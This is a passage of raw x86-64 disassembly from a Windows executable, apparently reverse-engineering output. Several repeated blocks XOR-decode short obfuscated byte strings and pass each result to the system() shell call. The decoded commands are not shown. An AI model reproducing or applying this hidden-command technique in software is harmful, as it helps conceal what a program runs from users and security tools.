inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x1a
jl 0x14005b9d0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x1aab]
lea rcx, [rbp + 0x92]
mov byte [rbp + 0x92], al
call fcn.140072570
mov r10, rax
cmp byte [rax + 0x17], 0
je 0x14005bd23
mov r8d, r14d
cmp r15d, 2
jl 0x14005bce4
movdqa xmm6, xmmword [0x14015d660]
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
movdqa xmm0, xmm9
pmuldq xmm1, xmm8
movdqa xmm12, xmmword [0x14015d680]
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm8
movd eax, xmm13
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm9
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm9
pmulld xmm0, xmm10
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm11
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movdqa xmm0, xmm6
movd dword [r10], xmm1
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm6
pmulld xmm0, xmm10
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm11
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movdqa xmm0, xmm15
movd dword [r10 + 4], xmm1
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm15
pmulld xmm0, xmm10
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm11
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 8]
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [r10 + 8], xmm1
movdqa xmm1, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm7, xmmword [0x14015d690]
movdqa xmm0, xmm1
movdqa xmm2, xmmword [0x14015d6a0]
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm12
pmulld xmm0, xmm10
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm11
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0xc]
xorps xmm1, xmm0
movdqa xmm0, xmm7
movd dword [r10 + 0xc], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm7
pmulld xmm0, xmm10
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm11
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0x10]
xorps xmm1, xmm0
movdqa xmm0, xmm2
movd dword [r10 + 0x10], xmm1
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm2
pmulld xmm0, xmm10
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm11
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0x14]
xorps xmm1, xmm0
movd dword [r10 + 0x14], xmm1
jmp 0x14005bd3c
mov r9, r10
nop word [rax + rax]
mov eax, 0x1f7047dd
lea r9, [r9 + 1]
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x18
jl 0x14005bcf0
movdqa xmm12, xmmword [0x14015d680]
movdqa xmm7, xmmword [0x14015d690]
movdqa xmm6, xmmword [0x14015d660]
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x1ac3]
lea rcx, [rbp + 0x93]
mov byte [rbp + 0x93], al
call fcn.140072590
mov r10, rax
cmp byte [rax + 0x17], 0
je 0x14005c043
mov r8d, r14d
cmp r15d, 2
jl 0x14005c003
movd eax, xmm13
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
movdqa xmm0, xmm9
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm9
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm9
pmulld xmm0, xmm10
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm11
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movdqa xmm0, xmm6
movd dword [r10], xmm1
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm6
pmulld xmm0, xmm10
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm11
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movdqa xmm0, xmm15
movd dword [r10 + 4], xmm1
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm15
pmulld xmm0, xmm10
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm11
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 8]
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [r10 + 8], xmm1
movdqa xmm1, xmm12
punpckldq xmm1, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm1, xmm8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm2, xmmword [0x14015d6a0]
pmulld xmm0, xmm10
movdqa xmm1, xmm12
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm11
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0xc]
xorps xmm1, xmm0
movdqa xmm0, xmm7
movd dword [r10 + 0xc], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm7
pmulld xmm0, xmm10
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm11
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0x10]
xorps xmm1, xmm0
movdqa xmm0, xmm2
movd dword [r10 + 0x10], xmm1
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm2
pmulld xmm0, xmm10
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm11
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0x14]
xorps xmm1, xmm0
movd dword [r10 + 0x14], xmm1
jmp 0x14005c043
mov r9, r10
nop word [rax + rax]
mov eax, 0x1f7047dd
lea r9, [r9 + 1]
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x18
jl 0x14005c010
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x1af4]
lea rcx, [rbp + 0x94]
mov byte [rbp + 0x94], al
call fcn.1400725b0
mov r10, rax
cmp byte [rax + 0x18], 0
je 0x14005c354
mov r8d, r14d
cmp r15d, 2
jl 0x14005c30e
movd eax, xmm13
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
movdqa xmm0, xmm9
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm9
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm9
pmulld xmm0, xmm10
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm11
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movdqa xmm0, xmm6
movd dword [r10], xmm1
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm6
pmulld xmm0, xmm10
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm11
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movdqa xmm0, xmm15
movd dword [r10 + 4], xmm1
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm15
pmulld xmm0, xmm10
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm11
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 8]
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [r10 + 8], xmm1
movdqa xmm1, xmm12
punpckldq xmm1, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm1, xmm8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm2, xmmword [0x14015d6a0]
pmulld xmm0, xmm10
movdqa xmm1, xmm12
mov r8d, Ordinal_26
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm11
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0xc]
xorps xmm1, xmm0
movdqa xmm0, xmm7
movd dword [r10 + 0xc], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm7
pmulld xmm0, xmm10
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm11
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0x10]
xorps xmm1, xmm0
movdqa xmm0, xmm2
movd dword [r10 + 0x10], xmm1
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm2
pmulld xmm0, xmm10
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm11
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0x14]
xorps xmm1, xmm0
movd dword [r10 + 0x14], xmm1
mov r9d, r8d
add r9, r10
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x19
jl 0x14005c320
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x1b8b]
lea rcx, [rbp + 0x95]
mov byte [rbp + 0x95], al
call fcn.1400725e0
mov r10, rax
cmp byte [rax + 0x19], 0
je 0x14005c664
mov r8d, r14d
cmp r15d, 2
jl 0x14005c61f
movd eax, xmm13
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
movdqa xmm0, xmm9
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm9
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm9
pmulld xmm0, xmm10
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm11
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movdqa xmm0, xmm6
movd dword [r10], xmm1
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm6
pmulld xmm0, xmm10
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm11
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movdqa xmm0, xmm15
movd dword [r10 + 4], xmm1
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm15
pmulld xmm0, xmm10
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm11
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 8]
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [r10 + 8], xmm1
movdqa xmm1, xmm12
punpckldq xmm1, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm1, xmm8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm2, xmmword [0x14015d6a0]
pmulld xmm0, xmm10
movdqa xmm1, xmm12
mov r8d, Ordinal_26
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm11
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0xc]
xorps xmm1, xmm0
movdqa xmm0, xmm7
movd dword [r10 + 0xc], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm7
pmulld xmm0, xmm10
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm11
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0x10]
xorps xmm1, xmm0
movdqa xmm0, xmm2
movd dword [r10 + 0x10], xmm1
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm2
pmulld xmm0, xmm10
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm11
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0x14]
xorps xmm1, xmm0
movd dword [r10 + 0x14], xmm1
mov r9d, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x1a
jl 0x14005c630
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x1ba5]
lea rcx, [rbp + 0x96]
mov byte [rbp + 0x96], al
call fcn.140072610
mov r10, rax
cmp byte [rax + 0x19], 0
je 0x14005c974
mov r8d, r14d
cmp r15d, 2
jl 0x14005c92f
movd eax, xmm13
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
movdqa xmm0, xmm9
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm9
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm9
pmulld xmm0, xmm10
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm11
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movdqa xmm0, xmm6
movd dword [r10], xmm1
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm6
pmulld xmm0, xmm10
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm11
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movdqa xmm0, xmm15
movd dword [r10 + 4], xmm1
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm15
pmulld xmm0, xmm10
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm11
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 8]
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [r10 + 8], xmm1
movdqa xmm1, xmm12
punpckldq xmm1, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm1, xmm8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm2, xmmword [0x14015d6a0]
pmulld xmm0, xmm10
movdqa xmm1, xmm12
mov r8d, Ordinal_26
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm11
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0xc]
xorps xmm1, xmm0
movdqa xmm0, xmm7
movd dword [r10 + 0xc], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm7
pmulld xmm0, xmm10
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm11
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0x10]
xorps xmm1, xmm0
movdqa xmm0, xmm2
movd dword [r10 + 0x10], xmm1
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm2
pmulld xmm0, xmm10
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm11
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0x14]
xorps xmm1, xmm0
movd dword [r10 + 0x14], xmm1
mov r9d, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x1a
jl 0x14005c940
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x1b0d]
lea rcx, [rbp + 0x97]
mov byte [rbp + 0x97], al
call fcn.140072640
mov r10, rax
cmp byte [rax + 0x18], 0
je 0x14005cc84
mov r8d, r14d
cmp r15d, 2
jl 0x14005cc3f
movd eax, xmm13
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
movdqa xmm0, xmm9
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm9
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm9
pmulld xmm0, xmm10
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm11
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movdqa xmm0, xmm6
movd dword [r10], xmm1
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm6
pmulld xmm0, xmm10
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm11
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movdqa xmm0, xmm15
movd dword [r10 + 4], xmm1
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm15
pmulld xmm0, xmm10
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm11
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 8]
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [r10 + 8], xmm1
movdqa xmm1, xmm12
punpckldq xmm1, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm1, xmm8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm2, xmmword [0x14015d6a0]
pmulld xmm0, xmm10
movdqa xmm1, xmm12
mov r8d, Ordinal_26
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm11
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0xc]
xorps xmm1, xmm0
movdqa xmm0, xmm7
movd dword [r10 + 0xc], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm7
pmulld xmm0, xmm10
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm11
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0x10]
xorps xmm1, xmm0
movdqa xmm0, xmm2
movd dword [r10 + 0x10], xmm1
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm2
pmulld xmm0, xmm10
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm11
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0x14]
xorps xmm1, xmm0
movd dword [r10 + 0x14], xmm1
mov r9d, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x19
jl 0x14005cc50
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x1c2a]
lea rcx, [rbp + 0x98]
mov byte [rbp + 0x98], al
call fcn.140072670
mov r10, rax
cmp byte [rax + 0x1c], 0
je 0x14005ce05
mov r8d, r14d
cmp r15d, 2
jl 0x14005cdcb
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm9
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm9
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
